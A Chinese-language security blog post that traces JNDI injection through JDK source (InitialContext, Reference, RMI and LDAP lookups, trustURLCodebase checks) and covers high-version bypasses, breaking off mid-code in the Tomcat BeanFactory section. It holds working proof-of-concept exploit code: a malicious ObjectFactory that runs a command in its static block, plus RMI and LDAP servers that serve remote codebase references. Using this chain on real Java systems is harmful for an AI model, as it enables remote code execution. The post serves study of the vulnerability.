JNDI注入分析及高版本绕过

JNDI

java提供的命名和目录服务系统接口,命名服务简单理解就是键值对绑定,将对象和提供的名字绑定起来,查询名字就可以调用对应的对象;目录服务(比如域中涉及的LDAP)就是高级一点的命名服务,通过目录对象进行查询,目录对象相较于其他对象的不同点在可以将属性和对象相关联

一些服务协议:

RMI:Java远程方法协议,用于远程调用编程接口,可以调用远程服务器上的java对象

LDAP:不多说了,域内查询常用

DNS:不多说了

CORBA:公共对象请求代理体系结构,针对硬软件之间交互

一个简单的绑定LDAP Demo,其他协议基本同理,执行代码基本相同,只需要根据情况配置env

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class JndiTest {
    public static void main(String[] args) throws NamingException {
        
        String url = "";
        String username = "";
        String password = "";
        
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://" + url + ":389");
        env.put(Context.SECURITY_PRINCIPAL, username);
        env.put(Context.SECURITY_CREDENTIALS, password);
        env.put(Context.SECURITY_AUTHENTICATION, "simple");

        InitialContext context = new InitialContext(env);
        
    }
}

网上的原理文章烂大街了,分析一下源码(这边采用高版本jdk进行分析)

InitialContext

用于初始化上下文,分析一下源码

有三个构造方法,不传参数默认不执行初始化,如果传入Hahstable构建的env,则将env传入init进行初始化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
protected InitialContext(boolean lazy) throws NamingException {
    if (!lazy) {
        init(null);
    }
}


public InitialContext() throws NamingException {
    init(null);
}


public InitialContext(Hashtable<?,?> environment)
    throws NamingException
{
    if (environment != null) {
        environment = (Hashtable)environment.clone();
    }
    init(environment);
}

跟进init看一下,调用ResourceManager.getInitialEnvironment对env进行操作,跟进看了一下,做了一些预处理,然后赋值给属性myProps,现在myProps就是包含环境变量的Hashtable

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
protected void init(Hashtable<?,?> environment)
    throws NamingException
{
    myProps = (Hashtable<Object,Object>)
            ResourceManager.getInitialEnvironment(environment);

    if (myProps.get(Context.INITIAL_CONTEXT_FACTORY) != null) {
        // user has specified initial context factory; try to get it
        getDefaultInitCtx();
    }
}

几个重要的方法使用如下

1
2
3
lookup()	// 检索命名对象
bind()	// 名称绑定到对象上
list()	// 枚举命名上下文绑定的名称以及对象类名

lookup、bind、rebind等常用方法都通过调用getURLOrDefaultInitCtx,有两个方法,根据传入参数进行返回,最终都是执行NamingManager.getURLContext,根据myProps也就是不同的类型(ldap、rmi等)获取相应的Context实例,传入name有问题或为空则调用getDefaultInitCtx直接返回defaultInitCtx初始上下文

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
protected Context getURLOrDefaultInitCtx(String name)
    throws NamingException {
    if (NamingManager.hasInitialContextFactoryBuilder()) {
        return getDefaultInitCtx();
    }
    String scheme = getURLScheme(name);
    if (scheme != null) {
        Context ctx = NamingManager.getURLContext(scheme, myProps);
        if (ctx != null) {
            return ctx;
        }
    }
    return getDefaultInitCtx();
}

protected Context getURLOrDefaultInitCtx(Name name)
    throws NamingException {
    if (NamingManager.hasInitialContextFactoryBuilder()) {
        return getDefaultInitCtx();
    }
    if (name.size() > 0) {
        String first = name.get(0);
        String scheme = getURLScheme(first);
        if (scheme != null) {
            Context ctx = NamingManager.getURLContext(scheme, myProps);
            if (ctx != null) {
                return ctx;
            }
        }
    }
    return getDefaultInitCtx();
}

跟进getURLContext,直接调用getURLObject,所以直接跟进

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
public static Context getURLContext(String scheme,
                                    Hashtable<?,?> environment)
    throws NamingException
{
    // pass in 'null' to indicate creation of generic context for scheme
    // (i.e. not specific to a URL).

        Object answer = getURLObject(scheme, null, null, null, environment);
        if (answer instanceof Context) {
            return (Context)answer;
        } else {
            return null;
        }
}

这个过程会重新根据传入的schema(也就是解析url后的协议名)去获取对应的factory,所以如果传入的name可控并且传入完整url,那么即使已经构造好url,也会调用我们传入的url(分析到这里差不多就知道了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
private static Object getURLObject(String scheme, Object urlInfo,
                                   Name name, Context nameCtx,
                                   Hashtable<?,?> environment)
        throws NamingException {

    // e.g. "ftpURLContextFactory"
    ObjectFactory factory = (ObjectFactory)ResourceManager.getFactory(
        Context.URL_PKG_PREFIXES, environment, nameCtx,
        "." + scheme + "." + scheme + "URLContextFactory", defaultPkgPrefix);

    if (factory == null)
      return null;

    // Found object factory
    try {
        return factory.getObjectInstance(urlInfo, name, nameCtx, environment);

测试一下,这边构造了一个连接LDAP的context并初始化,但传入测试的rmi url,调试一下可以发现获取到的factory为rmi对应的工厂类

image-20240314153907006

image-20240314154026912

Reference

Reference类提供了JNDI中的引用功能

根据JNDI的实现,为了将Java对象绑定到像RMI或者LDAP这些命名目录上,可通过序列化来将特定状态下的对象转换成字节流进行传输和存储。但并不总是可以绑定对象的序列化状态,因为对象可能太大或不符合要求。

出于这样的考虑,JNDI定义了“命名引用”(Reference)的概念。可以创建一个Reference,它和要绑定的对象相关联,这样就只需要将对象的Reference绑定到命名目录服务上,而不用绑定原本的对象。

命名目录服务的客户端在查询到Reference时,会根据Reference的信息还原得到原本绑定的对象,如果Reference中提供的信息时工厂类以及加载地址,那客户端就会去对应的地址加载Java字节码进行构造和执行

也就是说Reference解决了绑定对象过大的问题,可以通过引用存储少量的信息,并且可以根据引用类的类型作出不同的操作

看一下Reference的源码

同样提供了不同的构造方法满足各种需求,除了要创建引用的类名,还可以传入地址、factory(创建对象的类的类名)、facotryLocation(创建对象的类的位置),传入后封装在对象中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Reference(String className) {
    this.className  = className;
    addrs = new Vector<>();
}

public Reference(String className, RefAddr addr) {
    this.className = className;
    addrs = new Vector<>();
    addrs.addElement(addr);
}

public Reference(String className, String factory, String factoryLocation) {
    this(className);
    classFactory = factory;
    classFactoryLocation = factoryLocation;
}

public Reference(String className, RefAddr addr,
                 String factory, String factoryLocation) {
    this(className, addr);
    classFactory = factory;
    classFactoryLocation = factoryLocation;
}

RMI

RMI是Java的远程调用协议,底层传输依赖序列化和反序列化

简单写一个rmi Demo

Test interface

1
2
3
4
5
6
7
8
package rmi.server;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Test extends Remote {
    String test() throws RemoteException;
}

Server

TestImpl

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
package rmi.server;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class TestImpl extends UnicastRemoteObject implements Test {
    protected TestImpl() throws RemoteException {
    }

    @Override
    public String test() throws RemoteException {
        return "i am rmi server test!";
    }
}

RMIServer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package rmi.server;

import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        TestImpl test = new TestImpl();
        InitialContext ctx = new InitialContext();
        LocateRegistry.createRegistry(1099);
        ctx.bind("rmi://127.0.0.1/test", test);

        System.out.println("RMI server bind at 127.0.0.1:1099...");
    }
}

Client

JndiTest

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package org.example;

import javax.naming.InitialContext;
import rmi.server.Test;

public class JndiTest {
    public static void main(String[] args) throws Exception {
        InitialContext ctx = new InitialContext();
        Test test = (Test) ctx.lookup("rmi://127.0.0.1:1099/test");
        System.out.println(test.test());
    }
}

实现后我们也会发现有如下需要注意的地方:

​ server和client调用类需要使用同一接口,接口要继承Remote

​ 被暴露的类需要继承UnicastRemoteObject

分析一下调用链(直接上高版本

跟进lookup进入我们上面分析过的InitialContext#lookup

1
2
3
public Object lookup(String name) throws NamingException {
    return getURLOrDefaultInitCtx(name).lookup(name);
}

继续跟进,getURLOrDefaultInitCtx获取到rmiURLContext,执行其父类GenericURlContext#lookup方法,其中ctx为RegistryContext,res.getRemainingName获取test

image-20240319160746710

image-20240319161257599

继续向下,跟进到RegistryContext#lookup,调用registry.lookup,其中registry为RegistryImpl_Stub,这块再向下RegistryImpl_Stub#lookup就是stub - skeleton通信过程,获取到的对象赋值给obj

image-20240319161425191

跟进,decodeObject,分析一下,首先判断传入的r是否为远程的引用对象并赋值给obj,继续向下,创建Reference实例ref,进行判断,如果远程获取到的是Reference对象,那么就传给ref(用于解析Reference),向下,进行了一个判断,主要是判断trustURLCodebase,顾名思义,是否相信远程url代码库(这个点后续讲),然后调用NamingManagerHelper.getObjectInstance

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
private Object decodeObject(Remote r, Name name) throws NamingException {
    try {
        Object obj = (r instanceof RemoteReference)
                    ? ((RemoteReference)r).getReference()
                    : (Object)r;

        /*
         * Classes may only be loaded from an arbitrary URL codebase when
         * the system property com.sun.jndi.rmi.object.trustURLCodebase
         * has been set to "true".
         */

        // Use reference if possible
        Reference ref = null;
        if (obj instanceof Reference) {
            ref = (Reference) obj;
        } else if (obj instanceof Referenceable) {
            ref = ((Referenceable)(obj)).getReference();
        }

        if (ref != null && ref.getFactoryClassLocation() != null &&
            !trustURLCodebase) {
            throw new ConfigurationException(
                "The object factory is untrusted. Set the system property" +
                " 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
        }
        return NamingManagerHelper.getObjectInstance(obj, name, this,
                environment, ObjectFactoriesFilter::checkRmiFilter);
    } catch (NamingException e) {
        throw e;
    } catch (RemoteException e) {
        throw (NamingException)
            wrapRemoteException(e).fillInStackTrace();
    } catch (Exception e) {
        NamingException ne = new NamingException();
        ne.setRootCause(e);
        throw ne;
    }
}

跟进NamingManagerHelper#getObjectInstance,同样也是进行判断是否为Reference类型,重点看下面这部分,判断如果Reference中classFactory属性不为空,进入后调用getObjectFactoryFromReference方法,名字猜一下应该是通过ref获得构造该引用类的,同时这里的factory为ObjectFactory类型,然后根据ref中的参数属性情况进行返回,如果不是Reference类则直接返回(非Reference类在这里结束

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx,
                                       Hashtable<?,?> environment,
                                       Predicate<Class<?>> factoryFilter) throws Exception {
		...

    Object answer;

    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively

            factory = getObjectFactoryFromReference(ref, f, factoryFilter);
            if (factory != null) {
                return factory.getObjectInstance(ref, name, nameCtx,
                        environment);
            }
            // No factory found, so return original refInfo.
            // That could happen if:
            //  - a factory class is not in a class path and reference does
            //    not contain a URL for it
            //  - a factory class is available but object factory filters
            //    disallow its usage
            return refInfo;

        } else {
            // if reference has no factory, check for addresses
            // containing URLs

            answer = processURLAddrs(ref, name, nameCtx, environment);
            if (answer != null) {
                return answer;
            }
        }
    }

    // try using any specified factories
    answer =
            createObjectFromFactories(refInfo, name, nameCtx, environment);
    return (answer != null) ? answer : refInfo;
}

跟进getObjectFactoryFromReference,首先会尝试使用当前的classloader加载,失败后获取获取的Reference实例的classFactoryLocation属性,也就是我们传入的加载地址,然后将获取的classFactory和classFactoryLocation传入helper.loadClass,最终返回的result为获取到的Class构建的实例(这也是为什么传入的恶意类中的代码块会被执行的原因

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
static ObjectFactory getObjectFactoryFromReference(
        Reference ref, String factoryName, Predicate<Class<?>> filter)
        throws IllegalAccessException,
        InstantiationException,
        MalformedURLException {
    Class<?> clas = null;

    // Try to use current class loader
    try {
        clas = helper.loadClassWithoutInit(factoryName);
        // Validate factory's class with the objects factory serial filter
        if (!filter.test(clas)) {
            return null;
        }
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.

    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);
            // Validate factory's class with the objects factory serial filter
            if (clas == null || !filter.test(clas)) {
                return null;
            }
        } catch (ClassNotFoundException e) {
        }
    }

    @SuppressWarnings("deprecation") // Class.newInstance
    ObjectFactory result = (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    return result;
}

跟进loadClass,parent为当前上下文的ClassLoader(class加载流程不懂看另一篇文章),URLClassLoader.newInstance猜测是使用利用传入的getUrlArray解析后的ur和classLoader来得到url类的classLoader,传入loadClass,最后跟进到下面loadClass函数,调用forName获取Class并返回,这样如果远程调用Reference加载流程就清楚了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public Class<?> loadClass(String className, String codebase)
        throws ClassNotFoundException, MalformedURLException {
    if (TRUST_URL_CODE_BASE) {
        ClassLoader parent = getContextClassLoader();
        ClassLoader cl
                = URLClassLoader.newInstance(getUrlArray(codebase), parent);
        return loadClass(className, cl);
    } else {
        return null;
    }
}

Class<?> loadClass(String className, boolean initialize, ClassLoader cl)
        throws ClassNotFoundException {
    Class<?> cls = Class.forName(className, initialize, cl);
    return cls;
}

跟进URLClassloader#newInstance,创建了一个匿名FactoryURLClassLoader实例并返回,FatoryURLLoader为URLClassLoader的子类,再往下跟踪这个上面的Class.forName最终跟踪到forName0(native)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
public static URLClassLoader newInstance(final URL[] urls,
                                         final ClassLoader parent) {
    // Save the caller's context
    @SuppressWarnings("removal")
    final AccessControlContext acc = AccessController.getContext();
    // Need a privileged block to create the class loader
    @SuppressWarnings("removal")
    URLClassLoader ucl = AccessController.doPrivileged(
        new PrivilegedAction<>() {
            public URLClassLoader run() {
                return new FactoryURLClassLoader(null, urls, parent, acc);
            }
        });
    return ucl;
}

所以简单来说在url中存放.class,classLoader会自动帮我们寻找,这也是为什么网上那些利用exp开个web服务放exp的class

流程分析下来会发现一个问题,就是decodeObject方法中如下这段代码,如果rmi调了一个Reference的话与此同时trustURLCodebase为false则一定会触发抛出错误

1
2
3
4
5
6
if (ref != null && ref.getFactoryClassLocation() != null &&
    !trustURLCodebase) {
    throw new ConfigurationException(
        "The object factory is untrusted. Set the system property" +
        " 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
}

实际上高版本的jdk对于jndi做了一些限制,如下:

JDK 6u45、7u21后java.rmi.server.useCodebaseOnly默认为true,禁止利用RMI ClassLoader加载远程类

JDK 6u132、7u122、8u113开始com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase默认为false,默认禁止RMI和CORBA远程协议使用远程codebase

JDK 6u211、7u201、8u191开始com.sun.jndi.ldap.object.trustURLCodebase默认为false,默认禁止LDAP协议使用远程codebase

其中第一条并不影响jndi注入,因为我们分析得知最终获取的远程类加载器为URLClassLoader

LDAP

做过域渗透比较多,ldap再熟悉不过,直接上代码分析

借用marchelsec中代码起了个ldap服务器

LDAPServer

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
package jndi.server;


import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


/**
 * LDAP server implementation returning JNDI references
 *
 * @author mbechler
 *
 */
public class LDAPServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main ( String[] args ) {

        String url = "http://127.0.0.1:8000/";
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

与rmi大致相同,直接跟进到在GenericURLContext#lookup时获取的ctx为ldapCtx

image-20240320114713322

继续向下跟进

image-20240320115809722

image-20240320115907654

最终跟进到LdapCtx#c_lookup,前面获取搜索结果answer,直接看然后做了简单的处理和判断,还是直接看decodeObject

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
protected Object c_lookup(Name name, Continuation cont)
        throws NamingException {
    cont.setError(this, name);
    Object obj = null;
    Attributes attrs;

    try {
				...

        if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {
            // serialized object or object reference
            obj = Obj.decodeObject(attrs);
        }
        if (obj == null) {
            obj = new LdapCtx(this, fullyQualifiedName(name));
        }
    } catch (LdapReferralException e) {
        ...

    } catch (NamingException e) {
        throw cont.fillInException(e);
    }

    try {
        return NamingManagerHelper.getDirObjectInstance(obj, name, this,
                envprops, attrs, ObjectFactoriesFilter::checkLdapFilter);

    } catch (NamingException e) {
        throw cont.fillInException(e);

    } catch (Exception e) {
        NamingException e2 = new NamingException(
                "problem generating object using object factory");
        e2.setRootCause(e);
        throw cont.fillInException(e2);
    }
}

看一下传入的attrs,就是我们设计的一些属性

image-20240320151419238

首先拿到javacodebase,也就是url,然后检查javaserialzeddata属性,我们没设置所以继续向下检查javaRemoteLocation属性,也没设置继续向下,取得objectClass,然后判断是不是Reference,进入decodeReference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
static Object decodeObject(Attributes attrs)
    throws NamingException {

    Attribute attr;

    // Get codebase, which is used in all 3 cases.
    String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
    try {
        if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
            if (!VersionHelper.isSerialDataAllowed()) {
                throw new NamingException("Object deserialization is not allowed");
            }
            ClassLoader cl = helper.getURLClassLoader(codebases);
            return deserializeObject((byte[])attr.get(), cl);
        } else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
             // javaRemoteLocation attribute (RMI stub will be created)
             if (!VersionHelper.isSerialDataAllowed()) {
                 throw new NamingException("Object deserialization is not allowed");
             }
            // For backward compatibility only
            return decodeRmiObject(
                (String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
                (String)attr.get(), codebases);
        }

        attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
        if (attr != null &&
            (attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
                attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
            return decodeReference(attrs, codebases);
        }
        return null;
    } catch (IOException e) {
        NamingException ne = new NamingException();
        ne.setRootCause(e);
        throw ne;
    }
}

跟进decodeReference,顾名思义解析Reference的位置,前面取到几个属性后和rmi一样调用getURLClassLoader

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
private static Reference decodeReference(Attributes attrs,
    String[] codebases) throws NamingException, IOException {

    Attribute attr;
    String className;
    String factory = null;

    if ((attr = attrs.get(JAVA_ATTRIBUTES[CLASSNAME])) != null) {
        className = (String)attr.get();
    } else {
        throw new InvalidAttributesException(JAVA_ATTRIBUTES[CLASSNAME] +
                    " attribute is required");
    }

    if ((attr = attrs.get(JAVA_ATTRIBUTES[FACTORY])) != null) {
        factory = (String)attr.get();
    }

    Reference ref = new Reference(className, factory,
        (codebases != null? codebases[0] : null));

    /*
     * string encoding of a RefAddr is either:
     *
     *      #posn#<type>#<address>
     * or
     *      #posn#<type>##<base64-encoded address>
     */
    if ((attr = attrs.get(JAVA_ATTRIBUTES[REF_ADDR])) != null) {

        String val, posnStr, type;
        char separator;
        int start, sep, posn;
        Base64.Decoder decoder = null;

        ClassLoader cl = helper.getURLClassLoader(codebases);
      	...

进入getURLClassLoader,如上面所说,添加了trustURLCodebase参数验证

image-20240320153554357

再往下进入newInstance后就与rmi后续的流程基本相同,最终使用URLClassLoader加载codebase中的class

JNDI注入

其实上面分析高版本之后分析的都大差不差了

直接放低版本jdk的exp(mac注意127.0.0.1 localhost

低版本

Exp.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Exp implements ObjectFactory {
    static {
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

RMI low version exp

分析Reference时我们知道,Reference对象并没有实现Remote接口也没有继承UnicastRemoteObject类,所以这里需要使用ReferenceWrapper封装一下

RMIServer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package jndi.server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        InitialContext ctx = new InitialContext();
        LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "Exp", "http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        ctx.bind("rmi://127.0.0.1:1099/test", reference);

        System.out.println("RMI server bind at 127.0.0.1:1099...");
    }
}

JndiTest

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package org.example;

import javax.naming.InitialContext;

public class JndiTest {
    public static void main(String[] args) throws Exception {

        InitialContext ctx = new InitialContext();
        ctx.lookup("rmi://127.0.0.1:1099/test");

    }
}

LDAP low version exp

用的marshalsec中代码改一下即可

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
package jndi.server;


import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


/**
 * LDAP server implementation returning JNDI references
 *
 * @author mbechler
 *
 */
public class LDAPServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main ( String[] args ) {

        String url = "http://127.0.0.1:8000/#Exp";
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exp");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

JndiTest

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package org.example;

import javax.naming.InitialContext;

public class JndiTest {
    public static void main(String[] args) throws Exception {

        InitialContext ctx = new InitialContext();
        ctx.lookup("ldap://127.0.0.1:1389/test");

    }
}

高版本

由于jdk高版本的几个参数,致使默认情况下jndi不会从远程的codebase读取类,这边分析一下网上的一些绕过思路

BeanFactory

绕过原理就是调用本地Tomcat中的BeanFactory作为Factory

注意:复现起来有问题,会有报没有org.apache.el.ExpressionFactoryImpl,javax.el.ExpressionFactory在tomcat的EL调用的是tomcat的org.apache.el.ExpressionFactoryImpl,org.apache.el包已经不支持了,而且高版本Tomcat已经修复了forceString的问题

RMIServer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package jndi.server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Reference;
